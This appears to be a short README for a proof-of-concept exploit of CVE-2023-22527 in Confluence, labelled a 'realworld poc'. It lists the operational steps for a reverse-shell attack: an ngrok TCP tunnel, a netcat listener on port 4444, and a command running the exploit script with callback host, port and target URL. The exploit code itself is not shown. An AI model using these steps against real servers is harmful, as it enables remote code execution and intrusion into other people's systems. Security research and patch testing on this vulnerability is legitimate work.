VNCERT-CC / CVE-2023-22527-confluence

[Confluence] CVE-2023-22527 realworld poc

CVE-2023-22527-confluence

[Confluence] CVE-2023-22527 realworld poc

Usage

Download bun

https://github.com/oven-sh/bun/releases

Start ngrok

ngrok tcp 4444

Listen localhost 4444

nc -nvlp 4444

Run exploit

bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/

Result